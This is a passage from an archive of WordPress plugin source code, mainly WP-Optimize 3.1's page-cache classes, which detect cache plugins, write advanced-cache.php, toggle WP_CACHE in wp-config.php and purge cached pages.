	public function get( $relative_path = '' ) {
		$absolute_path       = false;
		$main_directory_path = $this->maybe_create_directory( $this->get_main_directory_path() );

		if ( $main_directory_path ) {
			$absolute_path = trailingslashit( $main_directory_path . ltrim( $relative_path, '/\\' ) );
			$absolute_path = $this->maybe_create_directory( $absolute_path );
		}

		return $absolute_path;
	}

	/**
	 * @param string $relative_path
	 */
	public function remove( $relative_path = '' ) {
		$main_directory_path = $this->get_main_directory_path();
		if ( $main_directory_path ) {
			$absolute_path = trailingslashit( $main_directory_path . ltrim( $relative_path, '/\\' ) );
			$this->filesystem->delete( $absolute_path, true );
		}
	}
}
cms/wordpress/wp-optimize-versions/000755 000000 000000 00000000000 14215042706 020122 5ustar00rootwheel000000 000000 cms/wordpress/interface-wpml-log.php000644 000000 000000 00000000412 13573440334 020177 0ustar00rootwheel000000 000000 <?php

/**
 * @author OnTheGo Systems
 */
interface WPML_Log {
	public function insert( $timestamp, array $entry );

	public function get( $page_size = 0, $page = 0 );

	public function save( array $data );

	public function clear();
	
	public function is_empty();
}cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/000755 000000 000000 00000000000 14215042730 023044 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.2.3/000755 000000 000000 00000000000 14214670220 022704 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.0/000755 000000 000000 00000000000 14214670220 022702 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.2.2/000755 000000 000000 00000000000 14214670220 022703 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.2/000755 000000 000000 00000000000 14214670220 022704 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.1/000755 000000 000000 00000000000 14214670220 022703 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/000755 000000 000000 00000000000 14214670220 025167 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/000755 000000 000000 00000000000 14214670220 026232 5ustar00rootwheel000000 000000 wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/class-wpo-detect-cache-plugins.php000644 000000 000000 00000004420 13665647440 034603 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

class WP_Optimize_Detect_Cache_Plugins {

	private static $instance;

	/**
	 * WP_Optimize_Detect_Cache_Plugins constructor.
	 */
	protected function __construct() {
	}

	/**
	 * Detect list of active most popular WordPress cache plugins.
	 *
	 * @return array
	 */
	public function get_active_cache_plugins() {
		// The index is the plugin's slug

		$active_cache_plugins = array();

		foreach ($this->get_plugins() as $plugin_slug => $plugin_title) {

			$function_name = 'is_'.str_replace('-', '_', $plugin_slug).'_plugin_active';

			if (is_callable(array($this, $function_name))) {
				if (call_user_func(array($this, $function_name))) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			} else {
				if ($this->is_plugin_active($plugin_slug)) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			}
		}

		return $active_cache_plugins;
	}

	/**
	 * Get the plugins list
	 *
	 * @return array
	 */
	protected function get_plugins() {
		return array(
			'w3-total-cache' => 'W3 Total Cache',
			'wp-super-cache' => 'WP Super Cache',
			'wp-rocket' => 'WP Rocket',
			'wp-fastest-cache' => 'WP Fastest Cache',
			'litespeed-cache' => 'LiteSpeed Cache',
			'cache-enabler' => 'Cache Enabler',
			'comet-cache' => 'Comet Cache',
			'hummingbird-performance' => 'Hummingbird',
			'hyper-cache' => 'Hyper Cache',
		);
	}

	/**
	 * Check if W3 Total Cache active.
	 *
	 * @return bool
	 */
	public function is_w3_total_cache_plugin_active() {
		return defined('W3TC_VERSION') || $this->is_plugin_active('w3-total-cache');
	}

	/**
	 * Check if WP Rocket active.
	 *
	 * @return bool
	 */
	public function is_wp_rocket_plugin_active() {
		return defined('WP_ROCKET_VERSION') || $this->is_plugin_active('wp-rocket');
	}

	/**
	 * Check if $plugin is active.
	 *
	 * @param string $plugin - plugin slug
	 *
	 * @return bool
	 */
	private function is_plugin_active($plugin) {
		$status = WP_Optimize()->get_db_info()->get_plugin_status($plugin);

		return $status['active'];
	}

	/**
	 * Instance of WP_Optimize_Detect_Cache_Plugins.
	 *
	 * @return WP_Optimize_Detect_Cache_Plugins
	 */
	static public function instance() {
		static $instance;
		if (empty($instance)) {
			$instance = new self();
		}

		return $instance;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/class-wpo-page-cache.php000644 000000 000000 00000075711 13665416124 032653 0ustar00rootwheel000000 000000 <?php
/**
 * Page caching functionality
 *
 * Acknowledgement: The page cache functionality was loosely based on the simple cache plugin - https://github.com/tlovett1/simple-cache
 */

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Base cache directory, everything else goes under here
 */
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR).'/wpo-cache');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Directory that stores config and related files
 */
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');

/**
 * Directory that stores the cache, including gzipped files and mobile specifc cache
 */
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', untrailingslashit(WP_CONTENT_DIR).'/cache/wpo-cache');

if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('WP_Optimize_Detect_Cache_Plugins')) require_once(dirname(__FILE__) . '/class-wpo-detect-cache-plugins.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');
if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('Updraft_Abstract_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'includes/class-updraft-abstract-logger.php');
if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'includes/class-updraft-php-logger.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
	require_once dirname(__FILE__) . '/php-5.3-functions.php';
}

wpo_cache_load_extensions();

if (!class_exists('WPO_Page_Cache')) :

class WPO_Page_Cache {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Logger for this class
	 *
	 * @var mixed
	 */
	public $logger;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	/**
	 * Store last advanced cache file writing status
	 * If true then last writing finished with error
	 *
	 * @var bool
	 */
	public $advanced_cache_file_writing_error;

	/**
	 * Store errors
	 *
	 * @var array
	 */
	private $_errors = array();

	/**
	 * Last advanced cache file content
	 *
	 * @var string
	 */
	public $advanced_cache_file_content;

	/**
	 * Store the latest advanced-cache.php version required
	 *
	 * @var string
	 */
	private $_minimum_advanced_cache_file_version = '3.0.17';

	/**
	 * Set everything up here
	 */
	public function __construct() {
		$this->config = WPO_Cache_Config::instance();
		$this->rules  = WPO_Cache_Rules::instance();
		$this->logger = new Updraft_PHP_Logger();

		add_action('activate_plugin', array($this, 'activate_deactivate_plugin'));
		add_action('deactivate_plugin', array($this, 'activate_deactivate_plugin'));

		/**
		 * Regenerate config file on cache flush.
		 */
		add_action('wpo_cache_flush', array($this, 'update_cache_config'));
		add_action('wpo_cache_flush', array($this, 'delete_cache_size_information'));

		// Add purge cache link to admin bar.
		add_action('admin_bar_menu', array($this, 'wpo_admin_bar_purge_cache'), 100);

		// Handle single page purge.
		add_action('wp_loaded', array($this, 'handle_purge_single_page_cache'));

		add_action('admin_init', array($this, 'admin_init'));
	}

	/**
	 * Do required actions on activate/deactivate any plugin.
	 */
	public function activate_deactivate_plugin() {

		$this->update_cache_config();

		/**
		 * Filters whether activating / deactivating a plugin will purge the cache.
		 */
		if (apply_filters('wpo_purge_page_cache_on_activate_deactivate_plugin', true)) {
			$this->purge();
		}
	}

	/**
	 * Check if current user can purge cache.
	 *
	 * @return bool
	 */
	public function can_purge_cache() {
		if (is_multisite()) return $this->is_enabled() && current_user_can('manage_network_options');
		return $this->is_enabled() && current_user_can('manage_options');
	}

	/**
	 * Add Purge from cache in admin bar.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar
	 */
	public function wpo_admin_bar_purge_cache($wp_admin_bar) {
		global $pagenow;

		if (!$this->can_purge_cache()) return;

		$act_url = remove_query_arg(array('wpo_single_page_cache_purged', 'wpo_all_pages_cache_purged'));

		if (!is_admin() || 'post.php' == $pagenow) {
			$wp_admin_bar->add_menu(array(
				'id'    => 'wpo_purge_cache',
				'title' => __('Purge cache', 'wp-optimize'),
				'href'  => '#',
				'meta'  => array(
					'title' => __('Purge cache', 'wp-optimize'),
				),
				'parent' => false,
			));

			$wp_admin_bar->add_node(array(
				'id'    => 'wpo_purge_this_page_cache',
				'title' => __('Purge this page', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_single_page_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge this page', 'wp-optimize'),
				),
				'parent' => 'wpo_purge_cache',
			));

			$wp_admin_bar->add_node(array(
				'id'    => 'wpo_purge_all_pages_cache',
				'title' => __('Purge all pages', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_all_pages_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge all pages', 'wp-optimize'),
				),
				'parent' => 'wpo_purge_cache',
			));
		} else {
			$wp_admin_bar->add_menu(array(
				'id'    => 'wpo_purge_cache',
				'title' => __('Purge all pages', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_all_pages_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge all pages', 'wp-optimize'),
				),
				'parent' => false,
			));
		}
	}

	/**
	 * Check if purge single page action sent and purge cache.
	 */
	public function handle_purge_single_page_cache() {

		if (!$this->can_purge_cache()) return;

		if (isset($_GET['wpo_single_page_cache_purged']) || isset($_GET['wpo_all_pages_cache_purged'])) {
			if (isset($_GET['wpo_single_page_cache_purged'])) {
				$notice_function = $_GET['wpo_single_page_cache_purged'] ? 'notice_purge_single_page_cache_success' : 'notice_purge_single_page_cache_error';
			} else {
				$notice_function = $_GET['wpo_all_pages_cache_purged'] ? 'notice_purge_all_pages_cache_success' : 'notice_purge_all_pages_cache_error';
			}

			add_action('admin_notices', array($this, $notice_function));

			return;
		}

		if (!isset($_GET['_wpo_purge'])) return;

		if (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_single_page_cache')) {
			$success = false;

			if (is_admin()) {
				$post = isset($_GET['post']) ? (int) $_GET['post'] : 0;
				if ($post > 0) {
					$success = self::delete_single_post_cache($post);
				}
			} else {
				$success = self::delete_cache_by_url(wpo_current_url());
			}

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_single_page_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;

		} elseif (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_all_pages_cache')) {
			$success = self::purge();

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_all_pages_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;
		}
	}

	/**
	 * Show notification when page cache purged successfully.
	 */
	public function notice_purge_single_page_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when page cache wasn't purged.
	 */
	public function notice_purge_single_page_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification when all pages cache purged successfully.
	 */
	public function notice_purge_all_pages_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when all pages cache wasn't purged.
	 */
	public function notice_purge_all_pages_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification in WordPress admin.
	 *
	 * @param string $message HTML (no further escaping is performed)
	 * @param string $type    error, warning, success, or info
	 */
	public function show_notice($message, $type) {
		global $current_screen;
		
		if ($current_screen && is_callable(array($current_screen, 'is_block_editor')) && $current_screen->is_block_editor()) : ?>
			<script>
				window.addEventListener('load', function() {
					(function(wp) {
						if (window.wp && wp.hasOwnProperty('data') && 'function' == typeof wp.data.dispatch) {
							wp.data.dispatch('core/notices').createNotice(
								'<?php echo $type; ?>',
								'<?php echo $message; ?>',
								{
									isDismissible: true,
								}
							);
						}
					})(window.wp);
				});
			</script>
		<?php else : ?>
			<div class="notice wpo-notice notice-<?php echo $type; ?> is-dismissible">
				<p><?php echo $message; ?></p>
			</div>
		<?php
		endif;
	}

	/**
	 * Enables page cache
	 *
	 * @param bool $force_enable - Force regenerating everything. E.g. we want to do that when saving the settings
	 *
	 * @return WP_Error|bool - true on success, error otherwise
	 */
	public function enable($force_enable = false) {
		static $already_ran_enable = false;

		if ($already_ran_enable) return $already_ran_enable;

		$folders_created = $this->create_folders();
		if (is_wp_error($folders_created)) {
			$already_ran_enable = $folders_created;
			return $already_ran_enable;
		}

		// if WPO_ADVANCED_CACHE isn't set, or environment doesn't contain the right constant, force regeneration
		if (!defined('WPO_ADVANCED_CACHE') || !defined('WP_CACHE')) {
			$force_enable = true;
		}

		if (!$force_enable) {
			$already_ran_enable = true;
			return true;
		}

		if (!$this->write_advanced_cache() && version_compare($this->get_advanced_cache_version(), $this->_minimum_advanced_cache_file_version, '<')) {
			$message = sprintf("The request to write the file %s failed. ", htmlspecialchars($this->get_advanced_cache_filename()));
			$message .= ' '.__('Your WP install might not have permission to write inside the wp-content folder.', 'wp-optimize');

			if (!defined('WP_CLI') || !WP_CLI) {
				$message .= "\n\n".sprintf(__('1. Please navigate, via FTP, to the folder - %s', 'wp-optimize'), htmlspecialchars(dirname($this->get_advanced_cache_filename())));
				$message .= "\n".__('2. Edit or create a file with the name advanced-cache.php', 'wp-optimize');
				$message .= "\n".__('3. Copy and paste the following lines into the file:', 'wp-optimize');
			}

			$already_ran_enable = new WP_Error("write_advanced_cache", $message);
			return $already_ran_enable;
		}

		if (!$this->write_wp_config(true)) {
			$already_ran_enable = new WP_Error("write_wp_config", "Could not turn on the WP_CACHE constant in wp-config.php. Check your permissions.");
			return $already_ran_enable;
		}

		if (!$this->verify_cache()) {
			$errors = $this->get_errors();
			$already_ran_enable = new WP_Error("verify_cache", "Could not verify if the cache was enabled: \n".implode("\n- ", $errors));
			return $already_ran_enable;
		}

		$already_ran_enable = true;

		return true;
	}

	/**
	 * Disables page cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function disable() {
		$ret = true;

		$advanced_cache_file = $this->get_advanced_cache_filename();

		// N.B. The only use of WP_CACHE in WP core is to include('advanced-cache.php') (and run a function if it's then defined); so, if the decision to leave it enable is, for some unexpected reason, technically incorrect, it still can't cause a problem.
		$disabled_wp_config = $this->write_wp_config(false);
		if (!$disabled_wp_config) {
			$this->log("Could not turn off the WP_CACHE constant in wp-config.php");
			$this->add_warning('error_disabling', __('Could not turn off the WP_CACHE constant in wp-config.php', 'wp-optimize'));
		}

		$disabled_advanced_cache = true;
		// First try to remove (so that it doesn't look to any other plugin like the file is already 'claimed')
		// We only touch advanched-cache.php and wp-config.php if it appears that we were in control of advanced-cache.php
		if (!file_exists($advanced_cache_file) || false !== strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) {
			if (file_exists($advanced_cache_file) && (!unlink($advanced_cache_file) && false === file_put_contents($advanced_cache_file, "<?php\n// WP-Optimize: page cache disabled"))) {
				$disabled_advanced_cache = false;
				$this->log("The request to the filesystem to remove or empty advanced-cache.php failed");
				$this->add_warning('error_disabling', __('The request to the filesystem to remove or empty advanced-cache.php failed', 'wp-optimize'));
			}
		}

		// If both actions failed, the cache wasn't disabled. So we send an error. If only one succeeds, it will still be disabled.
		if (!$disabled_wp_config && !$disabled_advanced_cache) {
			$ret = new WP_Error('error_disabling_cache', __('The page caching could not be disabled: the WP_CACHE constant could not be removed from wp-config.php and the request to the filesystem to remove or empty advanced-cache.php failed.', 'wp-optimize'));
		}

		// Delete cache to avoid stale cache on next activation
		$this->purge();

		return $ret;
	}


	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function purge() {

		if (!self::delete(WPO_CACHE_FILES_DIR)) {
			$this->log("The request to the filesystem to delete the cache failed");
			return false;
		}

		/**
		 * Fires after purging the cache
		 */
		do_action('wpo_cache_flush');

		return true;
	}

	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function clean_up() {

		$this->disable();

		if (!self::delete(WPO_CACHE_DIR, true)) {
			$this->log("The request to the filesystem to clean up the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Check if cache is enabled and working
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function is_enabled() {

		if (!defined('WP_CACHE') || !WP_CACHE) {
			return false;
		}

		if (!defined('WPO_ADVANCED_CACHE') || !WPO_ADVANCED_CACHE) {
			return false;
		}

		if (!file_exists(WPO_CACHE_CONFIG_DIR . '/'.$this->get_cache_config_filename())) {
			return false;
		}

		return true;
	}

	/**
	 * Create the folder structure needed for cache to work
	 *
	 * @return bool - true on success, false otherwise
	 */
	private function create_folders() {

		if (!is_dir(WPO_CACHE_DIR) && !wp_mkdir_p(WPO_CACHE_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_DIR)));
		}

		if (!is_dir(WPO_CACHE_CONFIG_DIR) && !wp_mkdir_p(WPO_CACHE_CONFIG_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_CONFIG_DIR)));
		}
		
		if (!is_dir(WPO_CACHE_FILES_DIR)) {
			if (!wp_mkdir_p(WPO_CACHE_FILES_DIR)) {
				return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_FILES_DIR)));
			} else {
				wpo_disable_cache_directories_viewing();
			}
		}

		return true;
	}

	/**
	 * Get advanced-cache.php file name with full path.
	 *
	 * @return string
	 */
	public function get_advanced_cache_filename() {
		return untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php';
	}

	/**
	 * Get advanced-cache.php file name with full path.
	 *
	 * @return string
	 */
	public function get_cache_config_filename() {
		$url = parse_url(network_site_url());

		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
			return 'config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			return 'config-'.$url['host'].'.php';
		}
	}

	/**
	 * Writes advanced-cache.php
	 *
	 * @param boolean $update_required - Whether the update is required or not.
	 * @return bool
	 */
	private function write_advanced_cache($update_required = false) {
		$config_file_basename = $this->get_cache_config_filename();
		$cache_file_basename = untrailingslashit(plugin_dir_path(__FILE__));
		$plugin_basename = basename(WPO_PLUGIN_MAIN_PATH);
		$cache_path = '/wpo-cache';
		$cache_files_path = '/cache/wpo-cache';
		$cache_extensions_path = WPO_CACHE_EXT_DIR;
		$wpo_version = WPO_VERSION;

		// CS does not like heredoc
		// phpcs:disable
		$this->advanced_cache_file_content = <<<EOF
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

// WP-Optimize advanced-cache.php (written by version: $wpo_version) (do not change this line, it is used for correctness checks)

if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);

if (is_admin()) { return; }

\$possible_plugin_locations = array(
	defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR.'/$plugin_basename/cache' : false,
	defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR.'/plugins/$plugin_basename/cache' : false,
	dirname(__FILE__).'/plugins/$plugin_basename/cache',
	'$cache_file_basename',
);

\$plugin_location = false;

foreach (\$possible_plugin_locations as \$possible_location) {
	if (false !== \$possible_location && @file_exists(\$possible_location.'/file-based-page-cache.php')) {
		\$plugin_location = \$possible_location;
		break;
	}
}

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', WP_CONTENT_DIR.'$cache_path');
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', WP_CONTENT_DIR.'$cache_files_path');
if (false !== \$plugin_location) {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', \$plugin_location.'/extensions');
} else {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', '$cache_extensions_path');
}

if (!@file_exists(WPO_CACHE_CONFIG_DIR . '/$config_file_basename')) { return; }

\$GLOBALS['wpo_cache_config'] = @json_decode(file_get_contents(WPO_CACHE_CONFIG_DIR . '/$config_file_basename'), true);

if (empty(\$GLOBALS['wpo_cache_config'])) {
	include_once(WPO_CACHE_CONFIG_DIR . '/$config_file_basename');
}

if (empty(\$GLOBALS['wpo_cache_config']) || empty(\$GLOBALS['wpo_cache_config']['enable_page_caching'])) { return; }

if (false !== \$plugin_location) { include_once(\$plugin_location.'/file-based-page-cache.php'); }

EOF;

		// phpcs:enable
		$advanced_cache_filename = $this->get_advanced_cache_filename();

		// If the file content is already up to date, success
		if (is_file($advanced_cache_filename) && file_get_contents($advanced_cache_filename) === $this->advanced_cache_file_content) {
			$this->advanced_cache_file_writing_error = false;
			return true;
		}

		// check if we can't write the advanced cache file
		// case 1: the directory is read-only and the file doesn't exist
		if (!is_file($advanced_cache_filename) && !is_writable(dirname($advanced_cache_filename))) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

		// case 2: the file already exists but it's read-only
		if (is_file($advanced_cache_filename) && !is_writable($advanced_cache_filename)) {
			if (version_compare($this->get_advanced_cache_version(), $this->_minimum_advanced_cache_file_version, '<') || $update_required) {
				$this->advanced_cache_file_writing_error = true;
				return false;
			} else {
				$this->advanced_cache_file_writing_error = false;
				return true;
			}
		}

		if (!file_put_contents($this->get_advanced_cache_filename(), $this->advanced_cache_file_content)) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

		$this->advanced_cache_file_writing_error = false;
		return true;
	}

	/**
	 * Update advanced cache version if needed.
	 */
	public function maybe_update_advanced_cache() {

		if (!$this->is_enabled()) return;

		// from 3.0.17 we use more secure way to store cache config files and need update advanced-cache.php
		$advanced_cache_current_version = $this->get_advanced_cache_version();
		if ($advanced_cache_current_version && version_compare($advanced_cache_current_version, $this->_minimum_advanced_cache_file_version, '>=')) return;

		if (!$this->write_advanced_cache()) {
			add_action('admin_notices', array($this, 'notice_advanced_cache_autoupdate_error'));
		} else {
			$this->update_cache_config();
		}
	}

	/**
	 * Show notification when advanced-cache.php could not be updated.
	 */
	public function notice_advanced_cache_autoupdate_error() {
		$this->show_notice(__('The file advanced-cache.php needs to be updated, but the automatic process failed.', 'wp_optimize').
		' <a href="'.admin_url('admin.php?page=wpo_cache').'">'.__('Please try to disable and then re-enable the WP-Optimize cache manually.', 'wp-optimize').'</a>', 'error');
	}

	/**
	 * Get WPO version number from advanced-cache.php file.
	 *
	 * @return bool|mixed
	 */
	public function get_advanced_cache_version() {
		if (!is_file($this->get_advanced_cache_filename())) return false;

		$version = false;
		$content = file_get_contents($this->get_advanced_cache_filename());

		if (preg_match('/WP\-Optimize advanced\-cache\.php \(written by version\: (.+)\)/Ui', $content, $match)) {
			$version = $match[1];
		}

		return $version;
	}

	/**
	 * Set WP_CACHE on or off in wp-config.php
	 *
	 * @param  boolean $status value of WP_CACHE.
	 * @return boolean true if the value was set, false otherwise
	 */
	private function write_wp_config($status = true) {
		// If we changed the value in wp-config, save it, in case we need to change it again in the same run.
		static $changed = false;

		if (defined('WP_CACHE') && WP_CACHE === $status && !$changed) {
			return true;
		}

		$config_path = $this->_get_wp_config();

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		$config_file_string = file_get_contents($config_path);

		// Config file is empty. Maybe couldn't read it?
		if (empty($config_file_string)) {
			return false;
		}

		$config_file = preg_split("#(\n|\r\n)#", $config_file_string);
		$line_key    = false;

		foreach ($config_file as $key => $line) {
			if (!preg_match('/^\s*define\(\s*(\'|")([A-Z_]+)(\'|")(.*)/i', $line, $match)) {
				continue;
			}

			if ('WP_CACHE' === $match[2]) {
				$line_key = $key;
			}
		}

		if (false !== $line_key) {
			unset($config_file[$line_key]);
		}


		if ($status) {
			array_shift($config_file);
			array_unshift($config_file, '<?php', "define('WP_CACHE', true); // WP-Optimize Cache");
		}

		foreach ($config_file as $key => $line) {
			if ('' === $line) {
				unset($config_file[$key]);
			}
		}
		if (!file_put_contents($config_path, implode(PHP_EOL, $config_file))) {
			return false;
		}
		$changed = true;
		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @return boolean
	 */
	private function verify_cache() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}
		$errors = 0;

		// First check wp-config.php.
		if (!$this->_get_wp_config() && !is_writable($this->_get_wp_config())) {
			$this->log("Unable to write to or find wp-config.php; please check file/folder permissions");
			$this->add_warning('verify_cache', __("Unable to write to or find wp-config.php; please check file/folder permissions.", 'wp-optimize'));
		}

		$advanced_cache_file = untrailingslashit(WP_CONTENT_DIR).'/advanced-cache.php';
		
		// Now check wp-content. We need to be able to create files of the same user as this file.
		if ((!file_exists($advanced_cache_file) || false === strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) && !is_writable($advanced_cache_file) && !is_writable(untrailingslashit(WP_CONTENT_DIR))) {
			$this->log("Unable to write the file advanced-cache.php inside the wp-content folder; please check file/folder permissions");
			$this->add_error('verify_cache', __("Unable to write the file advanced-cache.php inside the wp-content folder; please check file/folder permissions", 'wp-optimize'));
			$errors++;
		}

		if (file_exists(WPO_CACHE_FILES_DIR)) {
			if (!is_writable(WPO_CACHE_FILES_DIR)) {
				$this->log("Unable to write inside the cache files folder; please check file/folder permissions");
				$this->add_warning('verify_cache', sprintf(__("Unable to write inside the cache files folder (%s); please check file/folder permissions (no cache files will be able to be created otherwise)", 'wp-optimize'), WPO_CACHE_FILES_DIR));
			}
		}
		
		if (file_exists(WPO_CACHE_CONFIG_DIR)) {
			if (!is_writable(WPO_CACHE_CONFIG_DIR)) {
				$this->log("Unable to write inside the cache configuration folder; please check file/folder permissions");
				// If the config exists, only send a warning. Otherwise send an error.
				$type = 'warning';
				if (!file_exists(WPO_CACHE_CONFIG_DIR . '/'.$this->get_cache_config_filename())) {
					$type = 'error';
					$errors++;
				}
				$this->add_error('verify_cache', sprintf(__("Unable to write inside the cache configuration folder (%s); please check file/folder permissions", 'wp-optimize'), WPO_CACHE_CONFIG_DIR), $type);
			}
		}

		return !$errors;
	}

	/**
	 * Update cache config. Used to support 3d party plugins.
	 */
	public function update_cache_config() {
		// get current cache settings.
		$current_config = $this->config->get();
		// and call update to change if need cookies and query variable names.
		$this->config->update($current_config, true);
	}

	/**
	 * Delete information about cache size.
	 */
	public function delete_cache_size_information() {
		delete_transient('wpo_get_cache_size');
	}

	/**
	 * Get current cache size.
	 *
	 * @return array
	 */
	public function get_cache_size() {
		$cache_size = get_transient('wpo_get_cache_size');

		if (!empty($cache_size)) return $cache_size;

		$infos = $this->get_dir_infos(WPO_CACHE_FILES_DIR);
		$cache_size = array(
			'size' => $infos['size'],
			'file_count' => $infos['file_count']
		);

		set_transient('wpo_get_cache_size', $cache_size);

		return $cache_size;
	}

	/**
	 * Fetch directory informations.
	 *
	 * @param string $dir
	 * @return array
	 */
	private function get_dir_infos($dir) {
		$dir_size = 0;
		$file_count = 0;

		$handle = is_dir($dir) ? opendir($dir) : false;

		if (false === $handle) {
			return array('size' => 0, 'file_count' => 0);
		}

		$file = readdir($handle);

		while (false !== $file) {

			if ('.' != $file && '..' != $file) {
				$current_file = $dir.'/'.$file;

				if (is_dir($current_file)) {
					$sub_dir_infos = $this->get_dir_infos($current_file);
					$dir_size += $sub_dir_infos['size'];
					$file_count += $sub_dir_infos['file_count'];
				} elseif (is_file($current_file)) {
					$dir_size += filesize($current_file);
					$file_count++;
				}
			}

			$file = readdir($handle);

		}

		return array('size' => $dir_size, 'file_count' => $file_count);
	}

	/**
	 * Returns the path to wp-config
	 *
	 * @return string|boolean wp-config.php path.
	 */
	private function _get_wp_config() {

		$config_path = false;

		foreach (get_included_files() as $filename) {
			if (preg_match('/(\\\\|\/)wp-config\.php$/i', $filename)) {
				$config_path = $filename;
				break;
			}
		}

		// WP-CLI doesn't include wp-config.php that's why we use function from WP-CLI to locate config file.
		if (!$config_path && is_callable('wpo_wp_cli_locate_wp_config')) {
			$config_path = wpo_wp_cli_locate_wp_config();
		}

		return $config_path;
	}

	/**
	 * Util to delete folders and/or files
	 *
	 * @param string $src
	 * @return boolean
	 */
	public static function delete($src) {

		return wpo_delete_files($src);

	}

	/**
	 * Delete cached files for specific url.
	 *
	 * @param string $url
	 * @param bool   $recursive If true child elements will deleted too
	 *
	 * @return bool
	 */
